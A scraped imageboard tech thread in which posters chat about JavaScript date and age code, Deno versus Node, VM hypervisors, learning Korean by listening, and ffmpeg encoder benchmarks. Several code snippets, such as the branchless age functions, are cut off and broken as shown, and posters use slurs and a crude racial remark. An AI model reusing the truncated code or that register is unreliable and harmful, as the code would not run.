All boardsБлинчикиInternationalКрендельнаяЛес

#3 SciTech Thread


#3 SciTech Thread


Build fail edition

coding is difficult for me too because just pressing space bar wrong or enter wrong it's always build fail so i can't nothing comes up so i don't know what i did wrong

720×12805.26Mb00:28Sex is too hard - Luda 2022



coding is difficult

not only...


reduce motion


disable animation effects


>>1008680 ➡

>>1008681 ➡


had to basically hold 1 long cable and 2 boxes in the hand, attaching it to my ear, while still walking

that's what I'm talking about



you mean the magsafe battery pack?

I thought about buying one, but it's too small, charging is slow and uses lightning port

I think the big phone (with big battery) is the only solution



lillebror v smart

i guess it was all ipos and velocity back then and thats why theres some misses in javascript but makes sense in the context


get age of the person


first version of my code

const years = Math.floor((now.getTime() - born.getTime()) / MILLISECONDS_IN_YEAR);


second version of my code

const years = now.getFullYear() - born.getFullYear();

gosh, I'm so dumb, I didn't even know there's a mistake


new Date().getTime() returns unix timestamp for your local time

this is retarded

  const now = new Date();
  const offset = now.getTimezoneOffset() + 9 * 60; // change local TZ to KST
  now.setTime(now.getTime() + offset * 60 * 1000);

tz = timezone(timedelta(hours=9))
now =

much simpler in python


Epoch Shifting is sometimes used internally in date libraries as a shortcut to avoid writing calendar arithmetic. When doing so, any access to non-UTC properties must be avoided. For example, once shifted, a call to getUTCHours would be acceptable, but a call to getHours would be invalid because it uses the local time zone.

this is a bit retarded

so intead of using getTimezoneOffset when changing timezone, we can use getUTCX functions to pretend the original getTime was UTC. uh huh




okay, now calculate the korean age

on one hand it's even more gooky, on the other they deprecated it themselves, so probably no so relevant anymore

but that legacy stupid age will definitely pop up here and there periodically, will people wondering all the time whether it's the true age or stupid age


Korean age = (current year - year of birth) + 1

stop, it's actually even better, no branches

korean age master race, compare it to

let years = now.getFullYear() - born.getFullYear();
if (
  now.getMonth() < born.getMonth() ||
  (now.getMonth() === born.getMonth() && now.getDate() < born.getDate())
) {
  // birthday has not yet happened this year
  years -= 1;

no way, 3 fucking branches!!!


did the superoptimized branchless age calculation

function calcAge(now, born) {
  const fix = Math.sign(
    (born.getMonth() - now.getMonth()) * 64 +
      (born.getDate() - now.getDate()) * 2 -
  ); // -1 or 1
  const fixHalf = (fix + 1) >> 1; // 0 or 1

  const age = now.getFullYear() - born.getFullYear() - fixHalf;
  return age;

console.log(calcAge(new Date("2024-01-01"), new Date("2021-01-02")));
console.log(calcAge(new Date("2024-01-02"), new Date("2021-01-02")));
console.log(calcAge(new Date("2024-01-03"), new Date("2021-01-02")));
console.log(calcAge(new Date("2024-01-04"), new Date("2021-01-02")));

even better

function calcAge(now, born) {
  const fix = !!(
    ((now.getMonth() - born.getMonth()) * 64 +
      (now.getDate() - born.getDate()) * 2 +
      1) &
  return now.getFullYear() - born.getFullYear() - fix;


actually !! might contain branches, the last one:

function calcAge(now, born) {
  const noBdayYet =
    (((now.getMonth() - born.getMonth()) * 64 +
      (now.getDate() - born.getDate()) * 2 +
      1) &
      0x80000000) >>>
  return now.getFullYear() - born.getFullYear() - noBdayYet;

probably ok now



yeah, those prices are retarded. and soldered SSD

I bought 32GB just in case, although I suppose I would have been better with 16GB 1TB instead

I bought 32GB RAM for my old PC 10+ years ago, which is my NAS now, and newer needed that much

imagine 32GB RAM on a storage server, even ZFS doesn't need it


found regression in my JS app

UI is way too complicated, something can always break in random place even if you're trying to be very accurate


<< is lower priority than +

imagine that???


clone project that was working just days ago


npx ts-node-esm ./test_thing.ts


TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension ".ts"

just about mchecking had it



I tried ts-node and didn't like it, too many bugs with ESM

use swc-node, it's better and faster



many lines of warnings on lts node

deno supposedly has some primitive support for puppeter now gonna try that first before trying to figure out swc. please save me from your creation mr dahl



deno works and 95% of configuration deleted, rolling with /defaults/ instead

thank you dahl and thank you jejuj




lts node

use the latest and greatest




I don't think that stuff is amusing. it's like zig or nim

surely you can do something with it, but the benefits from the more popular solution are too good to ignore





so you're using it with TS to scrape your kpop stuff?

I'm using scrapy on python instead

thought about using puppeter but programming on python doesn't make me mad usually



but TypeScript is actually much better than mypy

that guy who created Turbo Pascal, .NET and TypeScript is genius

also python is so slow, even slower than V8






install prettier


install eslint


setup tsconfig


configure esm


install third party ts script runner

yeah i'm thinking nah, if a better tool works (which it does since since npm support seems to work now) i might as well go with better #defaults

node can always stay as the backup option


just some stuff that needs login




install prettier


install eslint

same on deno?


setup tsconfig

all framework bootstraps have one


configure esm

you made it harder for yourself by using experimental technology on stable node


if a better tool works (which it does since since npm support seems to work now)

it might somehow work, but not as good as the native npm support

if you look in the code, there must be millions of hacks inside deno, and they will break sooner or later




same on deno?



all framework bootstraps have one

deno frameworks wouldnt have one


you made it harder for yourself by using experimental technology on stable node

i tried with commonjs or whatever is the default, now that was difficult. anyway its all magic words that need to combine package.json's type, tsconfig and the specific way you import/require so dumb

luckily deno fixes it all no config needed


they will break sooner or later

node projects already break for me from time to time so that wouldn't be a pro or con either way but i trust dahl knows what works and what doesn't with his bayby





how is it better? he just put tons of dependencies inside his package


wouldnt have one

what if you want custom TS settings?


node projects already break for me from time to time

that's a different type of breakage

but use whatever works for you. for me deno looks nice as an idea, but too 3rd-party to use in my production code

I mean it's like using coffeescript or moonscript which are merely just tiny wrappers on top of the real thing

I mean look at the real source of entropy. it's always the OS, C libraries, programming language library

tiny stuff on top such as npm 10-line wrappers for the C CLI utility are irrelevant garbage, they don't bring any value

so in this paradigm deno doesn't bring as much as node and typescript because it's tiny wrapper on top




how is it better?

i dunno go and rust ship with formatters and linters and i liek it, wcyd


too 3rd-party


tiny wrappers on top of the real thing

node and deno are built on v8, by the same guy except this time he got to do a rewrite with better #defaults




go and rust ship with formatters and linters

I thought you meant deno includes prettier/eslint as dependencies. but it seems like they implemented it in rust. yeah, I like that

tbh I use prettier inside VSCode and no linter, don't know why people like to make life harder for themselves with extra deps in package.json unless it's a big project with many people...


are built on v8

although I've checked, they actually partially reimplemented node stdlib in deno

so now you have an idea about "will break sooner or later" I've talked above

and that reimplementation of node_modules and npm must be pretty fragile, with many things not working here and there

so now I don't like it even more

I thought they just packaged node and npm and eslint and what's not as a part of the distribution. but they are mad enough to reimplement it from scratch (with a consequence of most things not working at all of course)




Golang mistake

now they've added generics

gosh, I can't believe even Rob Pike suffers from Dunning-Kruger...



just treat it like a black box theres people paid to keep it working

and if you for some reason need to write some huge web service thing on a framework with tons of deps just check if deno is supported by the framework if not use node


import maps are pretty new yeah but makes sense to go with it instead of some deno specific thing




just treat it like a black box theres people paid to keep it working

unfortunately I know how often those reimplementation things break, don't even want to try

I even regret a bit I picked SolidJS instead of ReactJS because all the world is writing stuff for React and the AI stuff at

now imagine I picked Deno instead of Node


some deno specific thing

they are deno specific way to deal with dependencies




huge web service thing on a framework with tons of deps

tbh I try to use as little npm deps as I can (even tho it's very hard because of evil people like sindresorhus)

so deno approach could be nice in theory

but at the same time I want my stuff to work with as little effort as possible, and with max possible support from upstream as possible, so I mostly use the most popular stuff

so you can see it doesn't work very well with deno




picked SolidJS instead of ReactJS

rewrite all view state code and jsx templates


imagine I picked Deno instead of Node

install tsconfig.json and use the node binary instead



oh you meant it's easy to switch back to node

maybe, just don't want to spend time on tinkering with deno



i'll convert all my projects to deno so i dont need to deal with node ts module breakage

i think you may be writing some server side js to have to deal with node std so much, luckily i just have client side stuff like browser extension




i think you may be writing some server side js to have to deal with node std so much

actually no, it's SPA

but stdlib is still important because you need a lot of boilerplate for building/testing that stuff


4 days ago esbuild deno plugin got npm specifier support

you can guess how bleeding that stuff is


client side stuff like browser extension

that might work if you pick deno-specific web framework and deno-specific builder

but then


install tsconfig.json and use the node binary instead

won't be true anymore



I found a logical error

popular runtime + popular framework = works (both make effort to make it work good)

popular runtime + unpopular framework = works (unpopular framework tries hard to be compatible)

unpopular runtime + popular framework = works (unpopular runtime tries hard to be compatible)

unpopular runtime + unpopular framework =

oh no...




maybe it's better than I think

although yarn looked very cool in docs too

but when I actually tried it I hated it so much I uninstalled it in like 10 minutes when realized how bad it actually is. never again touching it




that might work if you pick deno-specific web framework and deno-specific builder

didnt think this was possible but esbuild uses fancy css imports from javascript and deno typechecker doesnt like that

js world is a babel's tower sad

i guess scripts is denos only domain for now




css imports from javascript and deno typechecker doesnt like that

it doesn't use typescript?

typescript is fine with those because you can define type for *.css import via .d.ts




If you want to utilise JavaScript that has type definitions (e.g. a .d.ts file), you have to explicitly tell Deno about this. The details of how this is accomplished are covered in the Types and type declarations section.

seems possible, just disabled by default




didnt think this was possible but esbuild uses fancy css imports

I used that feature in webpack 8 years ago


the results are out

proxmox is super fancy and nice to use to make various vms all from a web browser but unfortunately performance is not very healthy.

while hyperv gets you above 95% of host machines cpu performance in a vm when you assign all the cpu cores, in proxmox it's sub 50%.

i wondered why vm installations were so dog slow to do until i got in the vm and tested them out

stupid sexy windows




while hyperv gets you above 95% of host machines cpu performance in a vm when you assign all the cpu cores, in proxmox it's sub 50%.

you did something wrong, KVM can't have 2x less performance than HyperV, it's all HVM

and IO drivers should also have similar performance too


oh, I got it, you need SMP inside your VM. I was talking about single-core VM performance with HVM

seems to be CPU pinning

you need to pin VM cores to your physical CPU cores


I replicated the same setup I had on unraid as close as I could, but even after a lot of changes and iterations with my prox settings, unraid is blowing it out of the water (at least GUI based VMs? ) using RDP

told you to use unraid



just run this and all your problems will be magically solved

they're just built for a bit different purposes: one (Proxmox) for VPS providers who run dozens of VMs on a giga servers, another (Unraid) for geeks who run games on their Linux NAS machine and need to map all available resources 1:1

but tbh I didn't think Proxmox is that bad in 2024 for such a simple task




that's why I think those HN guys who say "just install debian and samba hurr durr" are full of shit stop, I said that myself few weeks ago

they never actually compare performance of their solution compared to state of the art

but it's not always the case, sometimes it's actually easier to modify all the configs by hand, if you know what you're doing, instead of hooking into the complicated production stuff

but need to research for that a lot too


UI is so complicated, after weeks I can't even remember why I did some rendering optimizations and I'm too afraid to touch them now because it may break something


are heat packs used outside korea never seen em



found how to perfectly fix the issue

tbh, it even worked better before, but then I tried to optimize stuff and it actually became worse


very comfy to develop on 3 displays

display 1: browser

display 2: editor

display 3: terminal



like visual programing? ive only heard node red but idk if good alternative



yeah, basically I need to code very small chunk of data transformation and all the boilerplate stuff (scheduling, message sending, formatting, etc) is done through GUI

first I had huginn configuration but it sucks

then I migrated to n8n but it has its own issues too

not sure if I want to try node-red, it might be bad too

if only I knew how shitty those solutions are, I would have written just simple scripts instead



interesting to think how the job que loop would look with graphical programming thing

does that work well? and then the problem is the code blocks are annoying to keep in sync with your code if you actually code in a real editor


syncthing is kinda scary auto updating its own full permissions binary every couple of days maybe theres a simpler way since i already have always on server

perhaps some scheduled rclone run

what do you think duckie




does that work well?

mostly yes, but both huginn and n8n have issues like random freeze and things like that


code blocks are annoying to keep in sync with your code if you actually code in a real editor

yeah, but you rarely need to write and edit a lot of code there, so not a big problem


stop calling me duckie or else


started listening to fridman-nim's podcast too when not on the compoter

i used to search for programming stuff but its not like you ever learn anything from those so better go for entertainment



I've already watched too many of them

the most interesting are with people like Carmack, Bostrom, but he also invites many boring guests



duckie said its great

two fewer auto updating mystery binaries


Nearly 30 years ago, we introduced the Windows key to the PC keyboard that enabled people all over the world to interact with Windows


The Copilot key joins the Windows key as a core part of the PC keyboard and when pressed, the new key will invoke the Copilot in Windows experience

why do they think a key which brings the system dialog is somehow revolutionary

it's almost apple's "amazing" cringe innovations


imagine amount of money keyboard companies will make on selling the "updated" windows 12 compatible keyboards tho


that shitty store cancelled my kindle order

the universe doesn't want me reading



i use rsync in a crontab


noobs have no idea you can press windows plus another key


I use iCloud sync


>>1011720 ➡

be able to focus on one thing for a long time might be considered as a talent per se. it's a matter of definition

all people have different starting skills, then they can choose the amount of effort to put into further development of the skill and achieving something with that skill. how well can you do that depends on many factors: you may have low starting skill, but strong determination, so with time you can progress a lot. or you may have high starting skill, but lose motivation too quickly in case of failure. also support from the people around you is very important: if you receive portion of dopamine for every little step, that will help you to climb much higher. but building that social circle isn't simple either

in other words, "just do it" is naive approach. you have to be smart and work on many non-trivial issues at the same time


what device or app would you switch language to korean to something that doesnt have that much unexpected messages that it would get annoying too fast

if you can learn english from vidya surely korean also



dunno, just OS and all apps (system language)? shouldn't be too hard to learn menu items (not sure if that would help with learning much tho)


if you can learn english from vidya surely korean also

that's a bit different. you have to play with koreans and talk in korean to learn that

and european languages are easier to learn that korean




But you know what’s an even worse way of internalising a book? Not reading it to begin with

don't agree. if you just read, chances are, you will forget 90% of the information very quickly, so it's barely better than not reading at all




pen and paper won

good luck finding those notes 5 months later

better to research one good (but simple) digital solution

nowadays most people use Obsidian but I don't like it


Apparently, we creative-worker types crave nothing more than the perfect technique for reading more books, then capturing their contents with a tricked-out digital notetaking system

especially if you read books like that >>1010443 ➡


one person creates X


1000 people make videos, write posts about how cool that X


1000 more people write how X sucks


1000 people after some time make videos like "why I stopped doing X"


then videos like "why X is still relevant"


then videos like "why should we care about X"


then "X is a snake oil and irrelevant"


just endless stream of people discussing every possible way of looking at X

I'm surprised we can still evolve at this point. probably smart people who actually create X, don't spend their precious time watching dumb videos on youtube


It means you’ll avoid that important book altogether, in favour of something that matters to you less. It means listening to a podcast you don’t especially want to hear, because you’re too tired to take notes on the one you did want to hear, but now probably never will.

yeah, of course, genius

because learning is hard, you have to make new connections in the brain

there's no trivial shortcut and if you don't take notes you just don't learn it


looks cool you could probably make this to show visible feedback from cpu usage, fan speed or build fail

i dont have a compatible hardware to test tho





Once you learn the basic vocabulary, nothing stops you from learning just from immersion. Don't wait for too long. There are people who trap themselves into thinking, "I'm going to start watching raw anime when I'm good", "I don't immerse because I don't understand Japanese yet". This is a very dangerous pattern. You start wearing skates before you know how to skate. You start watching without subs before you understand.


Your teacher doesn't know Japanese that well.


If you happen to get a native as your teacher, they likely have no idea how language acquisition works, they don't remember how they learned Japanese, and they've never actually followed their own advice.

need to try to adapt weaboo's learning guides for korean, they have probably discovered few neat tricks

although I don't want to learn korean that much anymore


Avoid blue-pilled resources. There are a myriad of methods out there, and each of them tells you to do different things. Some methods are effective, but many are not. Unfortunately, the quality of advice on the Internet is often poor, with more bad advice than good advice. If you want to reach mastery in a foreign language, you don't want to waste you time on ineffective methods.

how can I know what's good and what's bad



i have discovered i have dogshit memory so i am doing extremely bad on learning korean

what im thinking about recently is replicating what that howtostudykorean fellow did try to "teach" it instead (write down 2 pages on each line ending or whatever lesson)

the scholars always say you should teach to learn but obviously this would just be reading and writing by myself



I was making notes based on learning material (i.e. re-write it with my own words for better understanding)

not sure if that counts as teaching

but I'm forgetting that too but at least I can quickly find out how to use some specific grammar, and I know it's 100% correct information because I've already researched that in the past. so it's like external brain: I know everything but only when I have access to my notes

I'm wondering how people learn languages at all. are language schools just a massive scam and most students don't know shit after they finish them? what's the most effective way of learning and why people don't use it?

or maybe the particular method isn't that important, you just have to be persistent and you will learn new language in 10 years or so whatever you do. it's hard to believe people are actually "fluent" in just 2 years


or maybe if you're extremely motivated for 2 years 18 hours per day and don't burn out

I don't know how to avoid the pattern on the top (periodic dramatic burn out)

the pattern on the bottom seems to be pretty slow, like "10 years" I've mentioned above



that guy was reviewing Anki cards for 1 hour every single day for 5 years and can just read simple manga without looking words up

I burnt out after doing 10% of that



correct, input is the most important thing. rewatch a korean movie without subtitles.

or watch 500 episodes of your favorite waifus yapping without youtube subtitles.



If you happen to get a native as your teacher, they likely have no idea how language acquisition works.

natives speakers only have the ability to produce and interpret their language, and don't know the inner works of it. it's like someone who has become amazing at driving but know nothing about how cars work on the inside, and instead of teaching you how to drive they try to teach you how a car works.



try to "teach" it instead

sounds like the feynman technique



are language schools just a massive scam

pretty much, at least if they don't primarily focus on input. the problem is the amount of time you spend in classes is nowhere near enough, so you have no choice but to spend free time learning the language and using the classes as extra help if you want the classes to mean anything at all. if you do this, then classes can actually be very nice if it's the only time you get to practice having conversations and other things you don't get at home.




or watch 500 episodes of your favorite waifus yapping without youtube subtitles

but what's the point if I understand only 5% of the sentences?

I know that I already know and I can only learn more by looking up the words. if I just listen, there's no way I can learn more


natives speakers only have the ability to produce and interpret their language, and don't know the inner works of it



sounds like the feynman technique

oh yeah, I like that


if it's the only time you get to practice having conversations

I believe talking in korean with korean friends on kakao talk should be beneficial

but I can barely make friends even using my native language so




but what's the point if I understand only 5% of the sentences? I know that I already know and I can only learn more by looking up the words.

what's important to know here is that we are talking about multiple things that are unrelated here.

- looking up words is good for knowing more words.

- input is good for making your mind more used to the phonology of the language, the sounds and everything about how sounds are used in a language. this will not help you learn new words.

since they are different things, you need both.

as for the importance of listening to something you barely understand: it's exhausting and it feels counterintuitive, but if it feels like an exercise you're doing it right. your mind gets better at identifying sounds and figuring out which sounds matter and which don't, where and when. this process is crucial to be good at listening. our minds are built to acquire the phonological system of a language this way. just listen and listen, and your brain figures out the patterns. unfortunately it just takes a while.

this is true for kids too who learn their first language. they already start slowly discovering the phonological system of the language while they don't actually understand much.


but I can barely make friends even using my native language

which is why i think classes can be useful. for many it's one of the few opportunities to actually try conversing in the language. i agree getting friends on kakaotalk is great as well.




it's exhausting and it feels counterintuitive, but if it feels like an exercise you're doing it right

what's the difference compared to listening unknown language as a "white noise"?

I mean if you understand e.g. 0.5 words per sentence, how do you know that everything else your missed will help you? or it's important skill to parse those 0.5 words (trying to squeeze at least the minimal drop of meaning out of the rubbish)?



having some understanding of meaning is important but people overestimate how much you need.

listening to an unknown language as white noise is not helpful since you need to connect language with the real world in some way. just like how a baby who starts off understanding nothing becomes fluent because their interaction with the real world alongside the language bridges that necessary gap for them, with no need of a dictionary. if you're like me who doesn't live in korea, you need to watch or listen to something where you know what's going on or you need to have conversations with people.


I mean if you understand e.g. 0.5 words per sentence, how do you know that everything else your missed will help you?

you primarily need either what you do understand or the real world context. your mind will find it important to be good at figuring out the phonology of the language since it doesn't like not understaning. in the process you might figure out some more vocab from context (just like kids) but the most important part is you get much better at identifying words and grammar that you already know. this is the primary point of learning through input. getting most of your vocab from listening is gonna be tough unless you live in the country and it's the only language people speak to you, and they speak a lot to you.


i started using the internet exclusively in english when i understood about a third of each sentence

looking up every single word i didn't understand, which is something i still do

i was quite young then but i remember feeling like i improved a lot every single day



probably should start reading more korean forums and chats

but I've already tried talking in korean discord servers few times and it wasn't very interesting



your mind will find it important to be good at figuring out the phonology of the language since it doesn't like not understaning

interesting idea


identifying words and grammar that you already know

that means you still need to find and learn new words?

I think I'm getting a bit better at recognizing words I know after listening to vlogs without subtitles. but the process seems too slow


>>1011697 ➡


if you think about it, isn't it stupid to solve 2nd level procrastination

life → escapism to kpop → procrastination while learning korean

probably should focus on something useful to begin with



why fix your life when you can fix your korean grammar?


if i wanted to attempt to fix my life it would have to start with kpop the only hobby in the world you cannot talk to people about



how is that useful?

should start with a hobby where you can socialize a lot



femme fatale korean waifus push us into the abyss of loneliness



You can eliminate fun forms of procrastination but you can't eliminate it altogether, it's procrastination all the way down. By breathing and eating and so on, I am putting off the inevitable.

I used to procrastinate to avoid thinking about work. Now I work to avoid other things. It's all avoidance, escapism, procrastination.



first you find a hobby, then you use it as an excuse to procrastinate, then you turn it into a job, then you procrastinate instead of doing ex-hobby. the circle of life

well, some people still can learn something for 5 years every day, without procrastination




first you find a hobby, then you use it as an excuse to procrastinate, then you turn it into a job

basically what i've been trying to do. korean as a hobby for years and now studying linguistics.

so right now i have an excuse to learn more korean



it helped me a lot but I just can't do same thing every single day so I dropped

I'm even depressed with eating and sleeping chores, the periodic nature of the process kills me. I want to be impulsive

the only thing I can do every day just fine is talking to people


are you in the uni? what kind of job would you have?



never used anki but i did use memrise during the first two years or so of learning korean.

other than that and howtostudykorean i've only read/listened to content, chatted with others, looked up words on naver and googled random stuff.


I've bought Anki for ios for $25 but barely used it



yes i'm in uni. i'd love to be a researcher, but i'll be fine with plenty of other options. never programmed before uni and i've been considering computational linguistics so i'd love to start some serious programming grind but programming is such a wild new world for me that it feels overwhelming to start.




computational linguistics

oh, sounds very nice, in particular this recent article I've mentioned recently

and the rise of LLMs and research of consciousness also brings a lot of questions to the table about how languages and corresponding brain structures work. it's all deeply connected to who we are

unfortunately I'm too dumb to do the actual research, can just read what others people do and wait for new discoveries in that area



i'll consider doing a deep dive into that article. could be a fun exercise with much for me to learn.



the sync is annoying

gotta remember to press the sync every time or when you get to your other device youre gonna redo stuff

sync sync sync

press the sync, it's manual


and the latest hottest new thing is: htmx!

lets see what one can do with it






latest hottest

angular was 13 years ago chingu...


LG UP550 costs $100 less than UP850

the only major difference seems to be sRGB vs DCI-P3 color gamut

not sure if that's worth $100


if I watch korean video with english subtitles, I can parse many words and get the meaning

if I watch korean video without subtitles, I can understand few words and get very little meaning

is it really better to learn that way



as said earlier, it's the only good way to get your brain to get used to korean phonology. i would recommend both ways of watching videos to get the best of both worlds.

i only ever watched korean content with subtitles for way too long and it was my biggest mistake by far as i improved at an awfully slow rate at korean listening. sentences that i could read with no problem in korean were embarrassingly difficult to understand through listening.



that means you still need to learn many new words at the same?

I mean if you're just listening and barely reading, there's no way you will have knowledge of words in the videos



the purpose of listening practice is not to learn new words, but to be better at picking up words you know. you need a way to learn new words as well as a way to pick them up faster. learning new words by only listening and nothing else is not effective.


Carmack was eating pizza every day for years and somehow didn't die



theres probably still a lot of english words i know what they kinda mean by having heard of them within context but wouldnt know what they actually mean or translate to my language

this would be a lot easier though if i was at least a bit better at korean so fewer words would be left for guessing




if i was at least a bit better at korean so fewer words would be left for guessing

oh yeah, it seems to be logarithmic scale: the more words you know, the easier to lookup the few remaining words, compared to when you know just 1 word in a sentence

so I'm not entirely sure about the efficiency of "listen to content without subtitles from day 1"

except the phonology thing the smartchingu was talking above



yes this is expected. you don't even need to know the meaning to be good at identifying it when listening.



the more words you know, the easier to lookup the few remaining words

this is of course true. the question is if you can recognize the words through listening or not. you could know every word in a sentence but fail to pick some of them up when listening, if your listening skills are lacking while you read just fine. this is what i experienced for a long time since i focused to little on improving my listening.

it's only efficient on day 1 if you're watching like peppa pig in korean or something.

listening without subtitles is just a good method to fix the problem mentioned above.



oh yeah, I'm much better at reading than listening, I would say 10x better

although that might be because I can read very slow, but when listening you need real-time understanding



listening is just by default much harder than reading. when reading, you don't have to deal with annoying stuff like assimilation or any contextual phonological processes (like 넌 pronounced 던). figuring out when a word starts or ends is hard when listening too. knowing if someone said ㅓor ㅗ, ㅆ or ㅅ etc. can be very hard, but in writing it's always clear.



I first understood the ㅇ sound when isa made this video



what about songs? it's very hard to recognize words in typical kpop song, but it has one major advantage: you can listen for kpop for hours without forcing yourself

I usually try for 10-15 minutes without much luck, then just give up and listen as a white noise


can't post on 4chan because it's blocked in the country and 4chan blocks vpns


wtf, CRF=25 with x264 on 4K looks nice, but same CRF looks like shit on same video scaled to 720p

so need to set much lower CRF for smaller resolutions, like 20

or maybe just encode to HEVC, won't work with Firefox, but who cares about Firefox nowadays


Well in reality and not some theory, what butterw says is valid. For HD source, you get away with higher CRF 19-20. For SD resolution , while watching on big TV screens, content gets upscaled, every artifact is blown up, so that 19-20 equivalent for HD might show up as a worse,CRF is better to be lower, say CRF, 16-17 or 18.

oh yeah, I was right



i can't speak for everyone, but for me songs aren't effective enough. i know there are many that care a lot about lyrics, while i am much more interested in the melody and such things. i often don't even realize there are lyrics, i just hear voices. if you are really into lyrics then maybe it's okay. i'd still argue content where people talk normally is more effective since you need to pick up on things like korean intonation and how conversations flow.




if you are really into lyrics

there isn't much to hear in typical kpop song, it's just the content in korean I listen to the most


i'd still argue content where people talk normally is more effective

definitely. but listening to korean podcast when you're outside and understanding 1% of the information would feel like a torture



podcasts are too tough if you understand little. still great if you're okay with being a masochist. i recommend movies and series since you see what's happening which makes it much easier to follow what's being said. though if you're comfortable podcasts are amazing.




still great if you're okay with being a masochist


i recommend movies and series since you see what's happening

not if you're outside (walking)




is wony a masochist?


not if you're outside (walking)

again, if you're okay with being a masochist




movies and series

I've seen recommendation to watch at least 2 times: 1st in your native language to understand the plot, 2nd to learn the language

not sure if I would want to watch something 2nd time

but watching interesting series without understanding (in korean) would be bad too

well, have to watch KAV in korean anyway because there're no subs at all

at least not until AI can translate it well enough




watch at least 2 times

yeah, i prefer rewatching movies i like without subs. don't want to ruin my first time watching a good movie.



I can watch youtube videos without subs, but for movies it's complicated because the way they're talking (especially black actors) is horrible



youtube is fine for sure but series and movies have such a big range of volume between scenes that it's either blast it (dont want to do that in an apartment building) or subtitles




black actors

luckily there aren't any varieties of english i struggle with understanding. maybe if it's some jamaican guy who uses a tad bit too much patois or something




but series and movies have such a big range of volume between scenes

yeah, right. it's a problem even with native language

but watching everything with subs is tiresome, so I try to disable them if I can


what korean movies do you like the most?


House of the Dragon—last summer’s Game of Thrones prequel—is what broke me. How was anyone supposed to follow that show without subtitles? House Targaryen. House Velaryon. Rhaenys. Rhaena. Rhaenyra. The Sea Snake. The Crabfeeder. Now three years have passed. Now 10 years have passed. Now a different actor is playing Rhaenyra, but the same actor is playing Rhaenys. Dragons shrieking and throwing flames over all of it. What the hell is going on here?



thrillers usually and action. the typical park chan wook type movies, actions with ma dong seok etc. i can enjoy horrors too, like a tale of two sisters. same goes for dramas. loved signal and stranger.


it's so faster to type "X 어때" in korean than "what about X" in english


I was using the horrible ffmpeg's native encoder the whole time, instead of aac_at, just had to change -c:a option

imagine be me


hevc_videotoolbox + aac_at VS svt-av1 + libopus


That is really massive loss of detail. I encode my anime library with svt1-av1 1.7 preset 4 CRF 24 filmgrain-4 and denoise-1. I tested a lot and find compromise in this settings. It looks much better than x265 slow 22 I was using before while file 50% smaller at the same encoding speed. I never noticed something on this scale even tho I watch it all on 50' 4k TV.



Incompatible pixel format 'yuv420p10le' for codec 'hevc_videotoolbox', auto-selecting format 'p010le'

time ffmpeg -v verbose -hide_banner -i crazy.mp4 -t 60 \
  -pix_fmt:v p010le -tag:v hvc1 -c:v hevc_videotoolbox -q:v 65 \
  -c:a aac_at -q:a 2 \
  -movflags +faststart -y out.mp4

perfect encoding

now need know how that compares to x264 superslow, x265 slow, libaom and svt-av1


x265 [info]: build info [32 bit][noasm]


x265 [info]: using cpu capabilities: none!




brew bottle


encoded 120 frames in 14.36s (8.36 fps)


my build


encoded 120 frames in 4.16s (28.83 fps)

imagine be such pabos



if you get that anyone will be able to look at you through the walls


6g too


A very exciting innovation that 6G will bring to the table would be its ability to sense the environment. The ubiquitous network becomes a source of situational awareness, collating signals that are bouncing off objects and determining type and shape, relative location, velocity and perhaps even material properties

it will all be over soon

1560×1080560.62Kb00:03조각상 컨셉이에요 🖼✨ | aespa 에스파 Brand Concept Day Photoshoot Behind (2sVHcrZMYWo)

looking at kpop waifu through the walls


touching kpop waifus with microwaves and studying their material properties


pressing fn+f12 on that logitech keyboard is a pain

probably should have gone with better layout


chromeos 120 is out and the results are in

- mouse wheel scrolling officially works now holy

- linux apps still look blurry and unusable on high dpi

- shortcuts are still dog dumb. imagine making a new os and not using super for controlling os and windows on top of being dumb some important shortcuts also get eaten by linux apps cause you know it's just ctrl or alt plus something




youtube-dl with path youtube-dl not found in PATH or not enough permissions

it's just path issue, now works fine


x265 slow 8bit


encoded 120 frames in 9.89s (12.13 fps)


x265 slow 10bit


encoded 120 frames in 13.13s (9.14 fps)


x265 medium 10bit


encoded 120 frames in 4.94s (24.27 fps)

slow is way too slow, but need to compare quality of medium to hevc_videotoolbox



there's also fn+esc here to lock fn keys, but I don't like using fn to control volume


vtb → 265 → libvmaf = broken timestamps

vtb → 265 → y4m → libvmaf = broken timestamps

vtb → mkv → libvmaf = broken timestamps

vtb → mkv → y4m → libvmaf = ok

vtb → mp4 → libvmaf = ok


finally a task for my new HDD: store gigantic y4m sources for benchmarks


aria2c -j 16 -x 16 -s 1 -i sources.txt


sar: doesn't work

iostat: shit

btop: shit

iotop: requires python2

atop: no package

how come disk monitoring in linux is so hard in 2024



I mean the realtime RMB/s and WMB/s for every disk

it's displayed quit nicely in atop but somehow people use other shit which is just bad


5 seconds = 1.7G


NAS was a mistake, 80MB/s for y4m over wifi6 is insanely slow

need to copy everything to SSD anyway



nas can only do slow backups and watching videos




seems comparable

if only...

# boat
x265: 98.289024
vtb: 93.614052
# crosswalk
x265: 97.482390
vtb: 92.577791
# foodmarket
x265: 97.128685
vtb: 92.009776
# foodmarket2
x265: 99.218935
vtb: 97.213482
# narrator
x265: 94.178524
vtb: 92.100044
# ritualdance
x265: 97.969079
vtb: 93.435787
# squareandtimelapse
x265: 99.914871
vtb: 98.164348
# tunnelflag
x265: 99.982536
vtb: 99.965692

it's over... fast encoding is impossible...


hwenc dream is over... if x265 is so good, would rather use av1 because it's swenc anyway, who needs worse coding tools...

maybe it's possible to make videotoolbox work better

# vtb

# x265

seems like no b-frames in videotoolbox

it's probably not over yet



nothing, hate tinkering with configs/plugins

it's always too fragile and/or consuming too much time for little value

well, it's not that bad with mpv because most scripts seem to be small and solving just single task

but software like emacs, obsidian kills me

even in vscode some popular plugins like gitlens are so horrible. devs try to include all possible features they can think of. such a mess. I installed it day ago because wanted the "git-blame-for-the-current-line" feature but I couldn't stand the UI mess and deleted it right away can't believe there're people who honestly think that's fine



i used boram for a long time but webm.lua is just too good, no need to change to different app to get that perfect clip.

luckily vscode has profiles now so you dont have to use all plugins all the time. though indeed still gotta be careful outside official language plugins since plugins have godmode on your computer, access to everything

it's sad once programs get older they cant change to better default settings or risk breakage for older users, so people gotta hunt down those recommended minimum settings that make sense in current year. if i were to start with terminal editors again i would probably go with helix, surely it would have the best defaults


forgot to enable 2nd esim before registering in whtatsapp


it said can't send sms


activated sim


nothing received


trying registering again


wait 60 minutes


nothing can't be done to make it faster


I stun-locked myself because of stupid facebook




vscode has profiles now


I usually just disable plugin if I don't use it often


since plugins have godmode on your computer

no access to Documents/Downloads in macos by default

and even better control with tools like fedora toolbox


